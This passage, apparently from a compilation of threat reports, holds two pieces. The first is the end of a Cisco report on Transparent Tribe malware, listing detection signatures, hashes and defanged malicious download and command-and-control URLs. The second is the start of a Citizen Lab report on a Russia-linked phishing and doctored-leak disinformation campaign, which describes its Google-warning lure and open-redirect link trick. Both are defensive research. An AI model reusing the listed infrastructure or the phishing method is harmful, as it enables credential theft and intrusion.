Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
Snort SIDs: 59222-59223 The following ClamAV signatures available for protection against this threat: Vbs.
Downloader.
Agent-9940743-0 Win.
Downloader.
TransparentTribe-9940744-0 Win.
Trojan.
MargulasRAT-9940745-0 Win.
Downloader.
Agent-9940746-0 Win.
Trojan.
MSILAgent-9940762-1 Win.
Trojan.
PythonAgent-9940791-0 Lnk.
Trojan.
Agent-9940793-0 Win.
Trojan.
TransparentTribe-9940795-0 Win.
Trojan.
TransparentTribe-9940801-0 Win.
Downloader.
TransparentTribe-9940802-0 Orbital Queries Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat.
For specific OSqueries on this threat, click below: Downloader Maldoc https://www.cisco.com/c/en/us/products/security/firewalls/index.html https://www.cisco.com/c/en/us/products/collateral/security/firepower-ngfw-virtual/datasheet-c78-742858.html https://www.cisco.com/c/en/us/products/security/adaptive-security-appliance-asa-software/index.html https://meraki.cisco.com/products/appliances https://www.cisco.com/c/en/us/products/security/threat-grid/index.html https://umbrella.cisco.com/ https://signup.umbrella.com/?utm_medium3Dweb-referral?utm_source3Dcisco26utm_campaign3Dumbrella-free-trial26utm_term3Dpgm-talos-trial26utm_content3Dautomated-free-trial https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html https://signup.duo.com/?utm_source3Dtalos26utm_medium3Dreferral26utm_campaign3Dduo-free-trial https://www.snort.org/products https://orbital.amp.cisco.com/help/ https://github.com/Cisco-Talos/osquery_queries/blob/master/win_malware/malware_transparent_tribe_downloader_filepath.yaml https://github.com/Cisco-Talos/osquery_queries/blob/master/win_malware/malware_transparent_tribe_maldoc_filepath.yaml 21/23 Python stagers IOCs Maldocs 15b90d869b4bcc3cc4b886abbf61134e408088fdfbf48e9ab5598a4c80f6f4d8 d2113b820db894f08c47aa905b6f643b1e6f38cce7adf7bf7b14d8308c3eaf6e Downloaders b0ecab678b02fa93cf07cef6e2714698d38329931e5d6598b98ce6ee4468c7df 2ca028a2d7ae7ea0c55a1eeccd08a9386f595c66b7a0c6099c0e0d7c0ad8b6b8 9d4e6da67d1b54178343e6607aa459fd4d711ce372de00a00ae5d81d12aa44be 2b32aa56da0f309a6cd5d8cd8b3e125cb1b445b6400c3b22cf42969748557228 1ba7cf0050343faf845553556b5516d96c7c79f9f39899839c1ca9149cf2d838 84841490ea2b637494257e9fe23922e5f827190ae3e4c32134cadb81319ebc34 dd23162785ed4e42fc1abed4addcab2219f45c802cccd35b2329606d81f2db71 4d14df9d5fa637dae03b08dda8fe6de909326d2a1d57221d73ab3938dfe69498 2bb2a640376a52b1dc9c2b7560a027f07829ae9c5398506dc506063a3e334c3a aadaa8d23cc2e49f9f3624038566c3ebb38f5d955b031d47b79dcfc94864ce40 b3bc8f9353558b7a07293e13dddb104ed6c3f9e5e9ce2d4b7fd8f47b0e3cc3a5 5911f5bd310e943774a0ca7ceb308d4e03c33829bcc02a5e7bdedfeb8c18f515 Lightweight implant f66c2e249931b4dfab9b79beb69b84b5c7c4a4e885da458bc10759c11a97108f 011bcca8feebaed8a2aa0297051dfd59595c4c4e1ee001b11d8fc3d97395cc5c 5c341d34827c361ba2034cb03dea665a873016574f3b4ff9d208a9760f61b552 d9037f637566d20416c37bad76416328920997f22ffec9340610f2ea871522d8 124023c0cf0524a73dabd6e5bb3f7d61d42dfd3867d699c59770846aae1231ce CrimsonRAT 67ad0b41255eca1bba7b0dc6c7bd5bd1d5d74640f65d7a290a8d18fba1372918 a0f6963845d7aeae328048da66059059fdbcb6cc30712fd10a34018caf0bd28a Python based downloaders b9fea0edde271f3bf31135bdf1a36e58570b20ef4661f1ab19858a870f4119ba dc1a5e76f486268ca8b7f646505e73541e1dc8578a95593f198f93c9cd8a5c8d 99e6e510722068031777c6470d06e31e020451aa86b3db995755d1af49cc5f9e https://github.com/Cisco-Talos/osquery_queries/blob/master/win_malware/malware_transparent_tribe_python_stager_filepath.yaml 22/23 Intermediate artifacts 892a753f31dadf1c6e75f1b72ccef58d29454b9f4d28d73cf7e20d137ce6dd8d c828bccfc34f16983f624f00d45e54335804b77dd199139b80841ad63b42c1f3 0d3f5ca81f62b8a68647a4bcc1c5777d3e865168ebb365cab4b452766efc5633 a0964a46212d50dbbbbd516a8a75c4764e33842e8764d420abe085d0552b5822 4162eaeb5826f3f337859996fc7f22442dd9b47f8d4c7cf4f942f666b1016661 e3e9bbdaa4be7ad758b0716ee11ec67bf20646bce620a86c1f223fd2c8d43744 56f04a39103372acc0f5e9b01236059ab62ea3d5f8236280c112e473672332b1 LNK 08603759173157c2e563973890da60ab5dd758a02480477e5286fccef72ef1a2 VBS 2043e8b280ae016a983ecaea8e2d368f27a31fd90076cdca9cef163d685e1c83 RAR adc8e40ecb2833fd39d856aa8d05669ac4815b02acd1861f2693de5400e34f72 IMG adaf7b3a432438a04d09c718ffddc0a083a459686fd08f3955014e6cf3abeec1 VHDX 5e645eb1a828cef61f70ecbd651dba5433e250b4724e1408702ac13d2b6ab836 IPs Domains zoneflare[.
]com secure256[.
]net directfileshare[.
]net dsoi[.
]info download[.]kavach-app[.
]in kavach-app[.
]in otbmail[.
]com URLs hxxp://directfileshare[.
]net/DA-Updated.xls hxxp://directfileshare[.
]net/dd/m.exe hxxp://download[.]kavach-app[.
]in/Kavach.msi hxxp://dsoi[.
]info/downloads/chrmeziIIa.exe 23/23 hxxp://iwestcloud[.
]com/PickWhatsoever/Qu33nRocQClmbing.php hxxp://iwestcloud[.
]com/PickWhatsoever/S3reryvUed.php hxxp://iwestcloud[.
]com/PickWhatsoever/S3reryvUed.php hxxp://zoneflare[.
]com/C2LDem0PeN/AllPack3Ts/Cert.php hxxp://zoneflare[.
]com/C2LDem0PeN/AllPack3Ts/Cor2PoRJSetOn.php hxxp://zoneflare[.
]com/C2LDem0PeN/AllPack3Ts/Dev3l2Nmpo7nt.php hxxp://zoneflare[.
]com/C2LDem0PeN/AllPack3Ts/f3dlPr00f.php hxxp://zoneflare[.
]com/C2LDem0PeN/AllPack3Ts/xwunThedict6.php hxxp://zoneflare[.
]com/RbB0nBr3k3r/FunBreaker.php hxxp://zoneflare[.
]com/RbB0nBr3k3r/tallerthanhills.php hxxp://zoneflare[.
]com/RbB0nBr3k3r/zoneblue/mscontainer.dll hxxps://drive[.]google[.
]com/uc?exportdownloadid1kMeI1R- 7sthlqWaPrp8xiNcQLjbKY9qf hxxps://kavach-app[.
]in/auth/ver4.mp3 hxxps://secure256[.
]net/pdf/ServicedetailforDARevision.pdf hxxps://secure256[.
]net/ver4.mp3 hxxps://zoneflare[.
]com/uipool.scr
May 25, 2017 Tainted Leaks Disinformation and Phishing With a Russian Nexus citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/ Every external operation is first and foremost a domestic one: the single most important role of the agencies is to secure the regime.
Mark Galeotti on Russian foreign intelligence Key Points Documents stolen from a prominent journalist and critic of the Russian government were manipulated and then released as a leak to discredit domestic and foreign critics of the government.
We call this technique tainted leaks.
The operation against the journalist led us to the discovery of a larger phishing operation, with over 200 unique targets spanning 39 countries (including members of 28 governments).
The list includes a former Russian Prime Minister, members of cabinets from Europe and Eurasia, ambassadors, high ranking military officers, CEOs of energy companies, and members of civil society.
After government targets, the second largest set (21) are members of civil society including academics, activists, journalists, and representatives of non-governmental organizations.
We have no conclusive evidence that links these operations to a particular Russian government agency however, there is clear overlap between our evidence and that presented by numerous industry and government reports concerning Russian-affiliated threat actors.
Summary This report describes an extensive Russia-linked phishing and disinformation campaign.
It provides evidence of how documents stolen from a prominent journalist and critic of Russia was tampered with and then leaked to achieve specific propaganda aims.
We name this technique tainted leaks.
The report illustrates how the twin strategies of phishing and tainted leaks are sometimes used in combination to infiltrate civil society targets, and to seed mistrust and disinformation.
It also illustrates how domestic considerations, specifically concerns about regime security, can motivate espionage operations, particularly those targeting civil society.
The report is organized into four parts described below: 1/43 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/ http://www.ecfr.eu/page/-/ECFR_169_-_PUTINS_HYDRA_INSIDE_THE_RUSSIAN_INTELLIGENCE_SERVICES_1513.pdf https://citizenlab.ca/wp-content/uploads/2017/05/Map-of-target-countries-4.png https://citizenlab.ca/wp-content/uploads/2017/05/Oct7Signin_render.png https://citizenlab.ca/wp-content/uploads/2017/05/CaseOfDavidSatter_Option2.png https://citizenlab.ca/wp-content/uploads/2017/05/C-Berkut-1.png https://citizenlab.ca/wp-content/uploads/2017/05/NED_Tainted_1a.png https://citizenlab.ca/wp-content/uploads/2017/05/NED_Tainted_1b.png https://citizenlab.ca/wp-content/uploads/2017/05/NED_Tainted_1c.png https://citizenlab.ca/wp-content/uploads/2017/05/NED_Tainted_2a.png https://citizenlab.ca/wp-content/uploads/2017/05/Article-subject-topics-1.png https://citizenlab.ca/wp-content/uploads/2017/05/NED_Tainted_3a.png https://citizenlab.ca/wp-content/uploads/2017/05/figure14-dates-numbers-changed.png https://citizenlab.ca/wp-content/uploads/2017/05/figure15-ria-novosti-cyber-berkut.png https://citizenlab.ca/wp-content/uploads/2017/05/figure16-tainted-budget-document.png https://citizenlab.ca/wp-content/uploads/2017/05/figure17-proposed-strategy-doc.png https://citizenlab.ca/wp-content/uploads/2017/05/figure18-second-section.png https://citizenlab.ca/wp-content/uploads/2017/05/figure19-tainted-doc.png https://citizenlab.ca/wp-content/uploads/2017/05/figure20-footer.png https://citizenlab.ca/wp-content/uploads/2017/05/figure21-enumerating-base36.png https://citizenlab.ca/wp-content/uploads/2017/05/Oct_Chain_table.png https://citizenlab.ca/wp-content/uploads/2017/05/figure24-URL-parameter.png https://citizenlab.ca/wp-content/uploads/2017/05/figure25-URL-parameters-aric-toler.png https://citizenlab.ca/wp-content/uploads/2017/05/figure26-anomalous-distance-305.png https://citizenlab.ca/wp-content/uploads/2017/05/taintedword-koala.png https://citizenlab.ca/wp-content/uploads/2017/05/figure27-bitly.png https://citizenlab.ca/wp-content/uploads/2017/05/Satter_Tainted_1.png https://citizenlab.ca/wp-content/uploads/2017/05/Satter_Tainted_2.png https://citizenlab.ca/wp-content/uploads/2017/05/Satter_Tainted_3.png https://citizenlab.ca/wp-content/uploads/2017/05/Satter_Tainted_4-1.png https://citizenlab.ca/wp-content/uploads/2017/05/figure29a.png https://citizenlab.ca/wp-content/uploads/2017/05/figure29b.png PART 1: HOW TAINTED LEAKS ARE MADE describes a successful phishing campaign against David Satter, a high-profile journalist.
We demonstrate how material obtained during this campaign was selectively released with falsifications to achieve propaganda aims.
We then highlight a similar case stemming from an operation against an international grantmaking foundation, headquartered in the United States, in which their internal documents were selectively released with modifications to achieve a disinformation end.
These tainted leaks were demonstrated by comparing original documents and emails with what Russia-linked groups later published.
We conclude that the tainting likely has roots in Russian domestic policy concerns, particularly around offsetting and discrediting what are perceived as outside or foreign attempts to destabilize or undermine the Putin regime.
PART 2: A TINY DISCOVERY describes how the operation against Satter led us to the discovery of a larger phishing operation, with over 200 unique targets.
We identified these targets by investigating links created by the operators using the Tiny.cc link shortening service.
After highlighting the similarities between this campaign and those documented by previous research, we round out the picture on Russia-linked operations by showing how related campaigns that attracted recent media attention for operations during the 2016 United States presidential election also targeted journalists, opposition groups, and civil society.
PART 3: CONNECTIONS TO PUBLICLY REPORTED OPERATIONS outlines the connections between the campaigns we have documented and previous public reporting on Russia-linked operations.
After describing overlaps among various technical indicators, we discuss the nuance and challenges surrounding attribution in relation to operations with a Russian nexus.
PART 4: DISCUSSION explores how phishing operations combined with tainted leaks were paired to monitor, seed disinformation, and erode trust within civil society.
We discuss the implications of leak tainting and highlight how it poses unique and difficult threats to civil society.
We then address the often-overlooked civil society component of nation-state cyber espionage operations.
Introduction: Tainted Leaks  Civil Society Targets Russia-linked cyber espionage campaigns, particularly those involving targeting around the 2016 U.S. elections, and more recently the 2017 French election, have dominated the media in recent months.
As serious as these events are, often overlooked in both media and industry reports on cyber espionage is a critical and persistent victim group: global civil society.
A healthy, fully-functioning, and vibrant civil society is the antithesis of non-democratic rule, and as a consequence, powerful elites threatened by their actions routinely direct their powerful spying apparatuses toward civil society to infiltrate, anticipate, and even neutralize their activities.
Unlike industry and government, however, civil society groups typically lack resources, institutional depth, and capacity to deal with these assaults.
For different reasons, they also rarely factor into threat industry reporting or government policy around cyber espionage, and can be the silent, overlooked victims.
2/43 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part1 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part2 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part3 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part4 As with previous Citizen Lab reports, this report provides further evidence of the silent epidemic of targeted digital attacks on civil society, in this case involving widely reported Russian-affiliated cyber espionage operations.
Our report underscores the domestic roots of these foreign operations, and how concerns over regime security and domestic legitimacy can factor into Russian threat modeling and espionage targeting, both at home and abroad.
Patient Zero for the Investigation: David Satter Our investigation began with a single victim: David Satter, a high-profile journalist, Rhodes Scholar, and critic of the Kremlin.
In 2013, Satter was banned from Russia, allegedly for flagrant violations of visa laws, but which most attribute to his investigative reporting on Russian autocracy.
Satter is known for his book, Darkness at Dawn, which investigated the possible 1999 conspiracy involving the Russian Federal Security Service (FSB) in a series of bombings of Russian apartment buildings that was used as a justification for the second Chechen War and which facilitated the rise to power of Vladimir Putin.
On October 7, 2016 Satter fell victim to a targeted phishing campaign, and mistakenly entered his password on a credential harvesting site.
Satters e-mails were stolen and later published selectively, and with intentional falsifications, as we will describe in this report.
While we cannot conclusively attribute the theft of Satters emails to one particular threat actor, nor do we have concrete details on the process by which his stolen emails were falsified and made their way into the public domain, we uncover and analyze several pieces of evidence to help contextualize the tainted leaks, while at the same time linking the infiltration of his email to a much wider cyber espionage campaign that has a Russian nexus.
Tainted Leaks: Disinformation 2.0 Following the compromise of his account, Satters stolen e-mails were selectively modified, and then leaked on the blog of CyberBerkut, a self-described pro-Russian hacktivist group.
This report introduces the term tainted leaks to describe the deliberate seeding of false information within a larger set of authentically stolen data.
We examine in detail how a report sent to the National Endowment for Democracy (NED) about Radio Libertys Russian investigative reporting project (contained in the emails stolen from Satter) was carefully modified with false information prior to being released.
We show how this manipulation created the false appearance that prominent Russian anti-corruption figures, including Alexei Navalny, were receiving foreign funding for their activities.
(
Alexei Navalny is a well-known Russian anti-corruption activist and opposition figure).
We also note how the document was used in an effort to discredit specific reports about corruption among close associates of Russian President Vladimir Putin.
In addition, whoever tainted the document also made reference to an article that had not yet been published at the time the document was leaked.
This timing strongly suggests advance knowledge of the publication of an upcoming piece of investigative journalism concerning 3/43 https://www.theguardian.com/world/2014/jan/13/russia-expels-american-journalist-david-satter https://www.amazon.ca/Darkness-Dawn-Russian-Criminal-State/dp/0300105916 http://www.bbc.com/news/world-europe-16057045 senior Russian officials and businessmen.
Such information is likely to have been sensitive, and would not have been widely known.
This may suggest that the operators had access to other, ongoing surveillance operations.
Once the tainted leak was released, Russian state-owned media and others reported that the document showed a CIA-backed conspiracy to start a colour revolution in Russia.
The tainted leak was also reported as evidence that the reports on corruption within Putins inner circle represented part of a deliberate disinformation campaign on behalf of foreign interests.
The timing and substance of the tainting coincides with reported fears among Putin and his close associates that revelations about their wealth and its sources could trigger protests and uprisings within Russia, like those lead by Navalny in recent months and years.
Tainted leaks pose complex challenges to the victims of breaches, as well as representing a potent and troubling method of disinformation.
Part 1 describes the leak tainting in greater detail, and Part 4: Discussion provides an analysis of the risks posed by the tactic.
Pandoras Un-Shortening: High Value Targets Emerge While investigating the suspicious messages sent to Satter, we determined that Tiny.cc, the link-shortening service used by the operators to phish credentials, had predictable features that enabled us to discover some other links likely used by the same operators.
We developed a technique to discover some of these links, and ultimately collected 223 malicious links representing 218 unique targets.
We have been able to identify the real identity of approximately 85 of the targets.
Of the set we identified, we found targets from at least 39 countries.
One thread that links the targets is that their professional activities connect them to issues where the Russian government has a demonstrated interest.
In some cases, the targets are Russians, ranging from an ex-Prime Minister, to journalists who investigate corruption, to political activists.
Many more targets are from, posted to, or involved in extractive industries in countries and areas where the Russian government has an economic and strategic interest, such as former Soviet states.
Still others are likely to be working on issues on the other side of the negotiating table from Russia, whether as part of United Nations operations, NATO, or civil service.
Perhaps unsurprisingly, one of the largest groups of targets are high-ranking military and government personnel and elected officials in Ukraine.
1 2 4/43 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/1 https://www.nytimes.com/2017/03/27/world/europe/in-protests-kremlin-fears-a-young-generation-stirring.html https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part1 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part4 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/2 Figure 1: Map showing countries that targets of the phishing campaign are linked to [click for hi-res] In other cases, for instance, the wife of a military attache, individuals appear to be targeted because of their proximity to high value targets.
In others, we have identified a large number of individuals who appear to be targeted because they received support, in the form of a fellowship, from a particular US-based grantmaker.
Some notable target categories include: Politicians, public servants and government officials from Afghanistan, Armenia, Austria, Cambodia, Egypt, Georgia, Kazakhstan, Kyrgyzstan, Latvia, Peru, Russia, Slovakia, Slovenia, Sudan, Thailand, Turkey, Ukraine, Uzbekistan and Vietnam Diplomatic personnel from numerous embassies, up to and including ambassador level, as well as their family members Civil society members including very high profile critics of the Russian president, as well as journalists and academics Senior members of the oil, gas, mining, and finance industries of the former Soviet states United Nations officials Military personnel from Albania, Armenia, Azerbaijan, Georgia, Greece, Latvia, Montenegro, Mozambique, Pakistan, Saudi Arabia, Sweden, Turkey, Ukraine, and the United States, as well as NATO officials 5/43 The discovery of so many other targets provides us with a window into the campaigns structure, and objectives (Part 2 outlines how we discovered the targets).
After government targets, the second largest set (21) are members of civil society like academics, activists, journalists, and representatives of non-governmental organizations.
Figure 2: Some high-value targets who received phishing emails The Importance of Civil Society Targets The data presented in Figure 3 underscore the extent to which civil society groups are being targeted in numbers equivalent to those seen with the more classic cyber espionage sector- aligned targets such as military, government, and industry.
Amongst the civil society targets, more than half were journalists, many of whom are prominent contributors to Russian language news outlets such as Vedomosti, Slon/Republic, Novaya Gazeta, and the BBC Russian Service.
While providing a detailed analysis of the civil society targets or an outline of their areas of activity would undoubtedly jeopardize their privacy, we can safely reflect on two notable patterns that emerge from such an analysis.
6/43 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part2 The first is that, like our first subject David Satter, several individuals from the target list were known for their public efforts towards shining a light on the Russian government and its activities.
From publishing articles that outline fraud or corruption, to general activism in support of electoral reform, many of the civil society targets seem to have been singled out for the perception that their actions could pose a threat to the Putin regime.
Figure 3: Breakdown of discovered targets into broad categories Another notable commonality found during analysis of the civil society targets of these campaigns is the near perfect alignment between their areas of activity and the geopolitical conflicts in which Russia is a known or suspected belligerent, or party to the conflict.
Specifically, the focus areas of the civil society targets span geographic boundaries, including conflict areas such as Syria, Afghanistan, Ukraine, and others.
We also found that several dozen of the targeted individuals had as a thread in common that they had received a fellowship from a single funder focused on the region.
Notification The large and diverse target group presented notification challenges.
Our process for notifying potential victims involved the following considerations and steps: For targets affiliated with governments or government-affiliated organizations (such as NATO or the United Nations), or businesses in a particular country, we passed information on targets names and email addresses to the relevant Computer Emergency Response Team (CERT) If many targets shared an organizational affiliation, but not a single employer, we contacted that organization and worked with them to notify the individuals 7/43 We also provided a full list of targets to the targets e-mail provider.
Part 1: How Tainted Leaks Are Made We examine how stolen materials from Satters inbox were turned into tainted leaks and released by CyberBerkut, and then examine a similar operation against the Open Society Foundations.
To make a clean comparison between real and fake, and illustrate exactly how tainting takes place, we obtained original, genuine documents and e-mails from David Satter, a victim of a breach, and compared them with the tainted versions.
We then describe a prior case of tainted leaks: internal documents belonging to the Open Society Foundations were stolen, then later released with tainting similar to Satters, also by CyberBerkut.
In both cases the breach victims were working with US-based organizations which had programs specializing in Russia.
The tainting appeared to have two objectives: cause the programs to appear more subversive of Russia than they were, and discredit specific opposition individuals and groups critical of Russian President Putin and his confidants.
The Case of David Satter On October 5, 2016, a phishing email was sent to the Gmail address of David Satter (See: Patient Zero: David Satter).
This phishing email was crafted with a specific ruse designed to look like a security warning from Google, suggesting to the recipient that an unknown third- party has obtained their Gmail account password (see Figure 4).
3 8/43 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/3 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/patientzero Figure 4: Phishing Email 1, mimicking a genuine message from Google The phishing email is designed to trick the recipient into clicking on the Change Password button.
Clicking on this link would direct the victims web browser to a link hosted on the URL shortening service Tiny.cc.
The operator disguised the link by using an open redirect hosted by Google.
This open redirect allowed the operators to create a URL that, superficially, appears to be hosted by Google: https://www.google.com/amp/tiny.cc/(redacted) Unfortunately, the ultimate destination of this shortened URL was changed to a benign webpage before we were able to examine this phishing email.
However, as we will outline in Part 2 of this report, there is sufficient evidence available to suggest the original destination.
Analysis of the email headers revealed that the message was sent with the Russian email service Yandex, using email account g.mail2017[]yandex.com.
A Second Phishing Email Two days later, on October 7, 2016, Satter received a second email that used an identical deception to the first attempt detailed above.
9/43 https://sites.google.com/site/bughunteruniversity/best-reports/openredirectsthatmatter https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part2 As with Email 1, the google.com/amp/ redirect pointed to a URL hosted by Tiny.cc.
Once again, similar to Email 1, Citizen Lab found that the originally configured redirection target for this link had been removed.
Analysis of the email headers in this second phishing attempt show that the message was sent with the web-based email service mail.com, using email account annaablony[]mail.com.
Figure 5: Phishing Email 2 Unauthorized Access On October 7 2016, shortly after receiving the email, Satter reports having clicked on the change password link in Email 2, and recalls being redirected to what he now realizes was in fact a credential phishing page which appeared to be a legitimate Google sign-in page.
Unfortunately, Satter had temporarily disabled 2-factor authentication on his account, making the compromise possible.
Shortly after entering his credentials, Satters Gmail account activity page recorded an unauthorized login event.
The data logged by Google indicated that the login session originated from an IP address in Romania (Figure 6).
In Part 2 we will show that the server associated with this IP address was also hosting the fake Google login page where Satter submitted his account credentials.
Thus it is likely that this malicious server was configured to automatically download the email contents from any compromised accounts (see Figure 7).
10/43 https://support.google.com/mail/answer/45938?hlenref_topic3394218 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part2 Figure 6: Screen grab from Google account activity page In Part 2 of this report we will outline how the phishing links sent to Satter led us to discover a much wider campaign that included 218 distinct targets from government, industry, military, and civil society.
In the following section, we provide context concerning the disinformation campaign that was conducted around material stolen from Satters email account and published on the blog of CyberBerkut, a pro-Russian hacktivist collective.
Figure 7: How a phishing campaign against Satter became a tainted leaks operation Analyzing a Tainted Leak This section compares an original document obtained by Citizen Lab with a tainted document published online, and used as part of a disinformation campaign.
We describe the tainting in detail, and analyse the likely objective.
Several documents from Satters emails were posted by CyberBerkut at the same time without observable manipulation.
However, one document showed extensive evidence of tainting.
The tainted leak was a report authored by Satter describing Radio Libertys Russian Investigative Reporting Project.
The document was modified to make Satter appear to be paying Russian journalists and anti-corruption activists to write stories critical of the Russian Government.
Importantly, we do not know the process through which the stolen document made its way from Satters inbox to the CyberBerkut release.
In the CyberBerkut version, the document is posted as screen-captures, and thus lacks metadata.
11/43 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part2 Figure 8: CyberBerkut post dated October 22, 2016 showing the narrative accompanying the tainted leak document (highlighted with arrow).
[
Archived copy] The original document lists a series of articles from Radio Liberty exclusively that are part of the project.
The articles concern a range of topics: history, economics, and politics.
Radio Liberty is a U.S. government international broadcaster, founded in 1951 to broadcast news and information into the Soviet Union.
It merged with Radio Free Europe in 1976, who now together are incorporated as a 501(c)(3), funded and overseen by the United States Broadcasting Board of Governors.
The tainted document modifies the text to appear to be a report on a much larger (nonexistant) project to pay for articles by a range of authors, which would subsequently be published by a range of media outlets.
The deceptively inserted articles, almost all of which are genuine publications, focus on corruption within Putins friends and inner circle.
The work of Alexei Navalny, a prominent Putin critic, is repeatedly emphasized.
The full tainted document is in Appendix A.
Taint 1: Making reporting look like a secret influence operation The operators modified the documents scope in an attempt to create the appearance of a widespread media campaign.
They did this by removing or modifying mentions of Radio Liberty throughout the document.
Figure 9: Text in red was removed, creating the impression of a wide media campaign, not the programming of a specific news source.
Other content, such as discussions of specific translators working for Radio Liberty are similarly removed to preserve the fiction.
12/43 https://web-beta.archive.org/web/20161023062016/http://www.cyber-berkut.org/ https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/appendixa Figure 10: The document was further tweaked to create the impression of a larger campaign.
A note about a translator was also removed as it would contradict the impression We believe that by removing specific references to Radio Liberty, the perpetrators are aiming to give the impression of a broader subversive campaign not limited to a single news organization.
Doing so allows the perpetrators to falsely associate non-US funded organizations, such as independent NGOs, to appear to be linked as part of this larger, fictitious program.
Figure 11: Further tainting to remove mentions of Radio Liberty Finally, a clause is deleted at the end of the document concerning the risks of writing without the protection of a full time job (Figure 11).
This deletion may simply be the tainters removing an inconvenient sentence that refers to Radio Liberty, but it also may be an attempt to make the  activity look more cloak and dagger.
Taint 2: Discrediting specific journalists and Kremlin critics The original document included a list of 14 articles published as part of the Russian Investigative Project at Radio Liberty.
The tainted document includes 24.
The operators not only added to the list, but also tweaked the Radio Liberty articles to further the impression of a larger campaign.
13/43 Figure 12: Six of the ten added articles.
All blue text was added to the original as part of the tainting.
The objective is to make these reports appear to have been supported by the project.
Ten additional articles were added.
Although the original list of publications covered a variety of themes, the added set primarily focuses on issues of corruption, and the wealth of those in Putins circle.
The articles, written for a range of publications, all share a theme: corruption and personal enrichment by those close to Putin and the Russian Government (See Appendix A).
14/43 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/appendixa Figure 13: People and Topics of articles added in the tainting.
Images: Wikipedia, Radio Free Europe, Reuters [click for hi-res] Of special interest are the insertions of Alexei Navalny, a prominent Russian anti-corruption activist and opposition figure whose work, and Anti-corruption Foundation, receives widespread domestic and international attention.
By repeatedly adding his reporting to the document, the tainting creates the appearance of foreign funding for his work.
This theme also figured prominently in the disinformation campaign surrounding the original publication, on October 22, 2016, of the tainted document by CyberBerkut (See: Disinformation Campaign Surrounding the Tainted Document).
Taint 3: Claimed foreknowledge An article by Russian journalist Elena Vinogradova describing issues involving senior Russian officials and businessmen was also added as part of the tainting, which goes on to state that it will be published by Russian-language news service Vedomosti on October 24-25.
Figure 14: Tainting that suggests the operators had advanced knowledge of a news report 4 15/43 https://citizenlab.ca/wp-content/uploads/2017/05/Article-subject-topics-1.png https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/4 This timing is significant as the original CyberBerkut publication of the tainted document occurred on October 22 2016, slightly before this date.
The apparent foreknowledge suggests that the individuals responsible for the tainting had advance knowledge of the content and publication date of a piece of investigative journalism, which may mean the operators had access to intelligence or surveillance reports concerning the activities of the Elena Vinogradova.
We identified at least one individual among the set of targets of the phishing campaign whose account might have provided this information, however we were not able to confirm a compromise.
Importantly, we were not able to find concrete evidence of the publication of an article matching the description added in the tainting.
It is possible that existence of the article was a fabrication, or the result of misplaced speculation by the individuals responsible for the tainting.
Taint 4: Modifying the Time Frame and Supporting Details The timeframe and number of publications are increased, perhaps to give the impression of a longer and more intense campaign.
Changes are also made to accommodate a wide range of articles not published by Radio Liberty but by other parties.
Figure 15: Dates and numbers changed to accommodate ten more articles Text that mentions specific dates in the original document that would not accommodate the articles that have been falsely added is also changed to support the new fiction.
Disinformation Campaign Surrounding the Tainted Document The tainted version of the stolen document was released online by CyberBerkut, which represents itself as a group of pro-Russian hacktivists.
CyberBerkut provided the framing narrative for the tainted document in a post on October 22, 2016: they were releasing the document to provide evidence that the United States was attempting to support a colour revolution in Russia.
In the CyberBerkut narrative, David Satter was an agent directing the publication of articles critical of the Russian government.
16/43 https://web-beta.archive.org/web/20161023062016/http://www.cyber-berkut.org/ Figure 16: RIA Novosti, Russias state operated news agency, reporting the Cyber Berkuts release of the tainted leaks Russias state operated news agency RIA Novosti, as well as Sputnik Radio, picked up the narrative, and gave voice to a number of sources who claimed that the leak was evidence that the United States Central Intelligence Agency (CIA) was attempting to foment a colour revolution.
The document was cited in a RIA Novosti report as providing evidence of over 20 reports intended to discredit the Russian president, and his entourage.
The colour revolution narrative was echoed in this SM News report, and by Vesti.lv, among others.
Meanwhile, other Russian-language sources claimed that the document discredited Navalnys Anti-corruption Foundation by showing that its articles were actually ordered by David Satter.
The Open Society Foundations Case In 2015, the Open Society Foundations (OSF) experienced a breach of confidential data.
17/43 https://ria.ru/radio_brief/20161024/1479859708.html https://ria.ru/radio_brief/20161024/1479859708.html https://sm-news.ru/news/analitika/za-bochku-varenya-korzinu-pechenya/ http://www.telegraf.lv/news/v-rossii-ssha-gotovyat-gosperevorot http://infreactor.org/47652-kiberberkut-rassledovaniya-navalnogo-zakazyval-gosdep Materials from this breach were released by CyberBerkut in November 2015 and, much later, on the leak branded site DC Leaks, alongside a wide range of materials stolen from other organizations.
DC Leaks worked directly with some online outlets, and provided exclusive access to their materials to some, as well as achieving substantial media impact.
The redundant releases enable a comparison of documents between the two leaks using public materials.
The DC Leaks dump included the release of untainted stolen documents that had been previously released as part of a tainted leak by Cyber Berkut.
An article in Foreign Policy used this dump to identify several cases of leak tainting.
We were able to verify each of their observations, as well as identifying additional elements of tainting.
We then contacted OSFs IT staff, who provided us with the original genuine documents which we were able to use as the basis for further comparisons, and to authenticate the documents posted on DC Leaks.
Taken together, the tainting appears designed to create the impression that several groups and media outlets, including Alexei Navalnys Foundation for Fighting Corruption, are supported by OSF.
